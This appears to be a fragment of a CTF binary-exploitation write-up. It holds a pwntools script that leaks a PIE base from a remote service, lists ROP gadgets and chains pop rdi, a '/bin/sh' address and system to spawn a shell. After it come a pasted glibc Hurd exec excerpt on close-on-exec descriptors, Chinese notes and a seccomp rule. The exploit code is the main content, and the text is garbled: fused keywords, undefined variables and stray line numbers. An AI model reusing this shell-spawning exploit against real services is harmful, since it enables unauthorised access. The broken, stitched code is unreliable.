from pwn import * context.log_level='debug' #p=process('./pwn1') p=remote('172.52.56.27',9999) #gdb.attach(p) p.recvuntil('Welcome to mimic world,try something\n') p.sendline('1') p.recvuntil('0x')
pie_base=int(p.recv(12),16)-0xa94 print(hex(pie_base)) system=pie_base+0x870 pop_rdi=pie_base+0xc73 binsh=pie_base+0x202068 ret=pie_base+0x0000000000000821 ''' 0x0000000000000c6c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000000c6e : pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000000c70 : pop r14 ; pop r15 ; ret 0x0000000000000c72 : pop r15 ; ret 0x0000000000000c6b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000000c6f : pop rbp ; pop r14 ; pop r15 ; ret 0x0000000000000930 : pop rbp ; ret 0x0000000000000c73 : pop rdi ; ret 0x0000000000000c71 : pop rsi ; pop r15 ; ret 0x0000000000000c6d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000000821 : ret 0x0000000000000400 : ret 0 0x0000000000000862 : ret 0x2017 ''' p.sendline('2') p.recvuntil('hello\n')
''' 0x000000000000193c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000000193e : pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000001940 : pop r14 ; pop r15 ; ret 0x0000000000001942 : pop r15 ; ret 0x000000000000193b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000000193f : pop rbp ; pop r14 ; pop r15 ; ret 0x0000000000001163 : pop rbp ; ret 0x0000000000001943 : pop rdi ; ret 0x0000000000001941 : pop rsi ; pop r15 ; ret 0x000000000000193d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000000101a : ret 0x0000000000001202 : ret 0x2d 0x0000000000001072 : ret 0x2f 0x00000000000011cd : ret 0xe083 0x00000000000011c7 : ret 0xea83 '''
success(hex(pie_base))
#p.recvuntil('You will find some tricks\n') p.sendline('2') sleep(0.5)
success(hex(myclose)) #print(hex(og1)) ''' for i in range(8): temp=(pop_rdi_ret>>(8*i))&0xff #success(hex(temp)) p.send(p8(temp)) binsh=libc_base+0x1B45BD for i in range(8): temp=(binsh>>(8*i))&0xff #success(hex(temp)) p.send(p8(temp)) for i in range(8): temp=(ret>>(8*i))&0xff #success(hex(temp)) p.send(p8(temp)) for i in range(8): temp=(system>>(8*i))&0xff #success(hex(temp)) p.send(p8(temp)) ''' defmwrite(a): for i inrange(8): temp=(a>>(8*i))&0xff #print(hex(temp)) p.send(p8(temp))
if (_hurd_dtable != NULL) { dtable = __alloca (dtablesize * sizeof (dtable[0])); ulink_dtable = __alloca (dtablesize * sizeof (ulink_dtable[0])); dtable_cells = __alloca (dtablesize * sizeof (dtable_cells[0])); for (i = 0; i < dtablesize; ++i) { structhurd_fd *constd = _hurd_dtable[i]; if (d == NULL) { dtable[i] = MACH_PORT_NULL; continue; } __spin_lock (&d->port.lock); if (d->flags & FD_CLOEXEC) { /* This descriptor is marked to be closed on exec. So don't pass it to the new program. */ dtable[i] = MACH_PORT_NULL; if (pdp && d->port.port != MACH_PORT_NULL) { /* We still need to deallocate the ports. */ *pdp++ = d->port.port; if (d->ctty.port != MACH_PORT_NULL) *pdp++ = d->ctty.port; } __spin_unlock (&d->port.lock); } else { if (pdp && d->ctty.port != MACH_PORT_NULL) /* All the elements of DTABLE are added to PLEASE_DEALLOC below, so we needn't add the port itself. But we must deallocate the ctty port as well as the normal port that got installed in DTABLE[I]. */ *pdp++ = d->ctty.port; dtable[i] = _hurd_port_locked_get (&d->port, &ulink_dtable[i]); dtable_cells[i] = &d->port; } } }
带有FD_CLOEXEC 标志的确实是关闭了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
if (pdp) { /* Request the exec server to deallocate some ports from us if the exec succeeds. The init ports and descriptor ports will arrive in the new program's exec_startup message. If we failed to deallocate them, the new program would have duplicate user references for them. But we cannot deallocate them ourselves, because we must still have them after a failed exec call. */
for (i = 0; i < _hurd_nports; ++i) *pdp++ = ports[i]; for (i = 0; i < dtablesize; ++i) *pdp++ = dtable[i]; }
但是实在是木有找到是在哪 触发了
1 2
A = fd # read(fd, buf, count) if (A > 0x1) return KILL
